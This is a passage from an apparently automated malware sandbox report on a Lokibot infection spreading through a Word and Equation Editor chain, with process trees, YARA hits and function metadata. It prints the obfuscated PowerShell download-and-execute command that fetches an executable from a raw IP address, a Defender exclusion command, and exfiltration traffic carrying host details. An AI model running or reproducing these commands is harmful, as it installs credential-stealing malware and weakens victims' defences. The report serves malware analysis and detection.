Nov 20, 2024 11:10:05.653629065 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:10:06.403878927 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:10:06 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Target ID:	0
Start time:	05:07:55
Start date:	20/11/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f4e0000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:07:56
Start date:	20/11/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:08:00
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\mshta.exe" "C:\Users\user\AppData\Roaming\goodtoseeuthatgreatthingswithentirethingsgreatf.hta"
Imagebase:	0x1070000
File size:	13'312 bytes
MD5 hash:	ABDFC692D9FE43E2BA8FE6CB5A8CB95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:08:02
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"
Imagebase:	0xb10000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:08:03
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt
Imagebase:	0xb10000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:08:06
Start date:	20/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.cmdline"
Imagebase:	0xfa0000
File size:	2'140'808 bytes
MD5 hash:	F8F36858B9405FBE27377FD7E8FEC2F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:08:06
Start date:	20/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4441.tmp" "c:\Users\user\AppData\Local\Temp\4vzopkvk\CSC2CE1E80E8DFB46C4BC398124C902BE0.TMP"
Imagebase:	0x170000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:08:12
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Roaming\wininit.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\wininit.exe"
Imagebase:	0x13e0000
File size:	600'576 bytes
MD5 hash:	66B03D1AFF27D81E62B53FC108806211
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000D.00000002.393313668.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000D.00000002.393313668.0000000003881000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:08:13
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe"
Imagebase:	0xb10000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:08:13
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Roaming\wininit.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\wininit.exe"
Imagebase:	0x13e0000
File size:	600'576 bytes
MD5 hash:	66B03D1AFF27D81E62B53FC108806211
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 0000000F.00000002.626819523.0000000000524000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Loki_1, Description: Loki Payload, Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 0000000F.00000002.626754842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	18.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	50%
Total number of Nodes:	110
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 03540499 Relevance: 6.1, APIs: 4, Instructions: 124
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(0354048B), ref: 03540499

Part of subcall function 035404B3: URLDownloadToFileW.URLMON(00000000,035404C4,?,00000000,00000000), ref: 03540570
Part of subcall function 035404B3: ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 035405AE

ExitProcess.KERNEL32(00000000), ref: 035405C6

Memory Dump Source

Source File: 00000002.00000002.360002424.0000000003540000.00000004.00000020.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3540000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileLibraryLoadProcessShell
String ID:
API String ID: 2508257586-0
Opcode ID: 33e07834c61a3b4a4d1bff4faa627a9e062eb90e656a724115017dc80b3cc87b
Instruction ID: b8aee7ce726316fcf25bae1294ac897ab05840c9f23147c74b97d037de61e4aa
Opcode Fuzzy Hash: 33e07834c61a3b4a4d1bff4faa627a9e062eb90e656a724115017dc80b3cc87b
Instruction Fuzzy Hash: E4413DE294C3C12BD71AD7746C6D694FF64BA63108F6D8ACE92C60B4F3E3988100C756

Function 035404B3 Relevance: 4.6, APIs: 3, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.360002424.0000000003540000.00000004.00000020.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3540000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileProcessShell
String ID:
API String ID: 3584569557-0
Opcode ID: d5a93389f758dc0731de51870d7bc158146041aee29c1b6709a8f8bd08986ff1
Instruction ID: c3f18fd9f45c77427a6ffc6e0b1d1e48370fc2512670d2110c78e4fce8553971
Opcode Fuzzy Hash: d5a93389f758dc0731de51870d7bc158146041aee29c1b6709a8f8bd08986ff1
Instruction Fuzzy Hash: 1C310CE294D3D21FD71AD7746C6D694FF64BE62108F6D8ACE92C60B8E3E3988100C752

Function 0354056E Relevance: 4.5, APIs: 3, Instructions: 37
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,035404C4,?,00000000,00000000), ref: 03540570

Part of subcall function 03540587: ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 035405AE
Part of subcall function 03540587: ExitProcess.KERNEL32(00000000), ref: 035405C6

Memory Dump Source

Source File: 00000002.00000002.360002424.0000000003540000.00000004.00000020.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3540000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileProcessShell
String ID:
API String ID: 3584569557-0
Opcode ID: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
Instruction ID: a47ea03b5dfff677a335c339a4f3d244734eb88c0ec0d64fa7f90b3da448de43
Opcode Fuzzy Hash: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
Instruction Fuzzy Hash: 56F0B4B158D34129E619F774AC59FAAEE68FFC1708F340489B3424F0F2D58484008659

Function 0354059C Relevance: 3.0, APIs: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 035405AE

Part of subcall function 035405C1: ExitProcess.KERNEL32(00000000), ref: 035405C6

Memory Dump Source

Source File: 00000002.00000002.360002424.0000000003540000.00000004.00000020.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3540000_EQNEDT32.jbxd

Similarity

API ID: ExecuteExitProcessShell
String ID:
API String ID: 1124553745-0
Opcode ID: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
Instruction ID: 5f89af53eb54c035bbdc985f6e0b11d074369bb0230d6a3216afb6357ccc87c5
Opcode Fuzzy Hash: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
Instruction Fuzzy Hash: 43012B74A4434221DB3CF668A8157F6EB54FBC1718FBC485AA7830B0F5C49480C38AE9

Function 03540587 Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.360002424.0000000003540000.00000004.00000020.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3540000_EQNEDT32.jbxd

Similarity

API ID: ExecuteExitProcessShell
String ID:
API String ID: 1124553745-0
Opcode ID: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
Instruction ID: 4eece9673d795352199976ebee2524ac5ba051073eb135073d9c1e60c8e61ed1
Opcode Fuzzy Hash: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
Instruction Fuzzy Hash: 77012B7054830520E62DF6646C44BEAEB98FBC171CF78445AE3530B0F5C1848483869D

Function 035405C1 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 035405C6

Memory Dump Source

Source File: 00000002.00000002.360002424.0000000003540000.00000004.00000020.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3540000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction ID: f49c04242a7a61e974833cf8218924656bc711991e28e6f13ed51e74029fe7d2
Opcode Fuzzy Hash: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction Fuzzy Hash:

Function 035405C8 Relevance: .0, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.360002424.0000000003540000.00000004.00000020.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3540000_EQNEDT32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction ID: 0d53e99e5730bdfa85d13c721a898358c3e7556a9c1d6c443e49568b158fa455
Opcode Fuzzy Hash: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction Fuzzy Hash: 0AD05E712015028FC308DB04D940E53F37AFFD8210B28C264D6004B669E730E892CA90

Non-executed Functions

Function 0354039A Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(03540388), ref: 0354039A

Memory Dump Source

Source File: 00000002.00000002.360002424.0000000003540000.00000004.00000020.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3540000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 23081c2f9d4407df301a849fb874a1b2adb20e461331d0472d76cb10e1f8a8a8
Instruction ID: fbc607e76bae73ba74182570d08ad3662ac8afe0d997c61cfcc778367b2301fc
Opcode Fuzzy Hash: 23081c2f9d4407df301a849fb874a1b2adb20e461331d0472d76cb10e1f8a8a8
Instruction Fuzzy Hash: 7E3154BA90EBC11FD31AD7747A6A164FF60795300872C8ACE829A4B5F3E3649106E356

Analysis Process: powershell.exePID: 3488, Parent PID: 3428COMMON

Execution Graph

Execution Coverage:	7.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	35
Total number of Limit Nodes:	4

Executed Functions

Function 00350998 Relevance: 2.7, Strings: 2, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tPp, xrefs: 00350A2A
tPp, xrefs: 00350A1E

Memory Dump Source

Source File: 00000006.00000002.387070327.0000000000350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_350000_powershell.jbxd

Similarity

API ID:
String ID: tPp$tPp
API String ID: 0-1160507146
Opcode ID: ea5c047d88a91c5deee80a13eb4620e700146d505c0ca96360fe0df3bc28f967
Instruction ID: 9a338f174f8d44e5753f3b6bc14de3391e4caa5972127118509f5b8c404baa21
Opcode Fuzzy Hash: ea5c047d88a91c5deee80a13eb4620e700146d505c0ca96360fe0df3bc28f967
Instruction Fuzzy Hash: 71512931B013509FD7259B688450F6ABFA2EF85711F29806BED45DF392CA72DC45C3A1

Function 001F4548 Relevance: 1.9, APIs: 1, Instructions: 354
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.387002945.00000000001F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa8dc3448059d5fd6e18fd9f53985cd633d32e6a9f5e3e68d18233aba8fd0a65
Instruction ID: 6b8c014c57810a084db03b69109034b940caa49e0ad4076bbbea31a8a7919aa7
Opcode Fuzzy Hash: aa8dc3448059d5fd6e18fd9f53985cd633d32e6a9f5e3e68d18233aba8fd0a65
Instruction Fuzzy Hash: 82E12974A00219AFDB05CF98D584AAEBBF2FF88310F258559E904AB365C771ED81CF90

Function 001F4930 Relevance: 1.6, APIs: 1, Instructions: 65
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(?,00000000,00000000,?,00000001), ref: 001F49C9

Memory Dump Source

Source File: 00000006.00000002.387002945.00000000001F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 001F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: f3c5499bf841082c68e72f0eb6edd25828d2ac01874f46c717fb8e74c1a1b425
Instruction ID: 74760b3e5d5746c8f5454eed3003ddf0b3daaa8b1eec9345dd854bf940117568
Opcode Fuzzy Hash: f3c5499bf841082c68e72f0eb6edd25828d2ac01874f46c717fb8e74c1a1b425
Instruction Fuzzy Hash: 6B21F6B1D0161DDFCB00CF9AD984AEEFBB4FF48314F10852AE918A7250D374A954CBA1

Function 00351880 Relevance: .2, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.387070327.0000000000350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf442bf461aa11e96319139425e5ca6ddf5b153bf83f0ddde25f590e3d52ad2e
Instruction ID: b7f4e8c3f80eb5c7ef3fee5350d663ce74ea831eb3496547f579eb36f8a14894
Opcode Fuzzy Hash: bf442bf461aa11e96319139425e5ca6ddf5b153bf83f0ddde25f590e3d52ad2e
Instruction Fuzzy Hash: 9681B130B002049FC729DB58D411B6EBBA2EBC8710F29856AEC59AB391CF71EC46D791

Function 00350A7D Relevance: .1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.387070327.0000000000350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_350000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a289734affbc5c1935f868dbc6e97dfa154f60766029f2030cf4f5329e459f0
Instruction ID: e9c4251303a24a17d0b70b69162b9cc42dd998dbe77432c39cdb359433dbb47d
Opcode Fuzzy Hash: 2a289734affbc5c1935f868dbc6e97dfa154f60766029f2030cf4f5329e459f0
Instruction Fuzzy Hash: 3B012234B083842FD72253798960F6B6EA29FC2704F19805EF899DB3E2D962DC488361

Function 0019D01D Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.386967973.000000000019D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0019D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_19d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 589d917a1c32f5077ff35183de25078a32e0ddfb6a5aa4aec8e31f01ff764865
Instruction ID: 45572796d186486b6004b26a86f679f934c12829cdee7f17af45757161c92621
Opcode Fuzzy Hash: 589d917a1c32f5077ff35183de25078a32e0ddfb6a5aa4aec8e31f01ff764865
Instruction Fuzzy Hash: 8301A271504380AAEB244E29ECC4B67FFD8EF41724F2C851AFC494B286C779D845CAB1

Function 0019D01C Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.386967973.000000000019D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0019D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_19d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e978c01bb332839e6a795b876d865a6c19bdfca92fa8e99aae4c9ba2ac650edd
Instruction ID: 4102b44c86bf485cb0afe9b24a2791318535ec5e7eead3d9b3ca916a25600fa9
Opcode Fuzzy Hash: e978c01bb332839e6a795b876d865a6c19bdfca92fa8e99aae4c9ba2ac650edd
Instruction Fuzzy Hash: 4AF06271404344AFEB108A16DCC4B66FFD8EB41728F18C55AED484E296C3799C45CAB1

Non-executed Functions

Function 003500A0 Relevance: 16.7, Strings: 13, Instructions: 415
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L4p, xrefs: 003503B0
4'p, xrefs: 00350597
$p, xrefs: 0035056A
`8-, xrefs: 00350240
L4p, xrefs: 00350419
L4p, xrefs: 00350160
L4p, xrefs: 003501C9
L4p, xrefs: 003501BE
`8-, xrefs: 00350189
4'p, xrefs: 0035058B
`8-, xrefs: 0035011B
$p, xrefs: 00350576
L4p, xrefs: 0035040E

Memory Dump Source

Source File: 00000006.00000002.387070327.0000000000350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_350000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$L4p$L4p$L4p$L4p$L4p$L4p$`8-$`8-$`8-$$p$$p
API String ID: 0-2492973855
Opcode ID: 2560eb11f2fbe3154c0fd7c884bbfd9f52d88d6436ec3fb023e5242654a99c2c
Instruction ID: 7bb0c8649639c3cb89f635fad316d278bc4c9f7ba5f981849d66b6621baa81e0
Opcode Fuzzy Hash: 2560eb11f2fbe3154c0fd7c884bbfd9f52d88d6436ec3fb023e5242654a99c2c
Instruction Fuzzy Hash: 32E13935B00304DFDB1E9F68D414F6E7BA2AF84311F198466ED419B2A1CB72CD49DBA2

Function 00350F28 Relevance: 6.5, Strings: 5, Instructions: 257COMMON

Download Yara Rule

Strings

|:-, xrefs: 00351262
4'p, xrefs: 0035117B
4'p, xrefs: 0035116F
4'p, xrefs: 00350FCE
4'p, xrefs: 00350FDA

Memory Dump Source

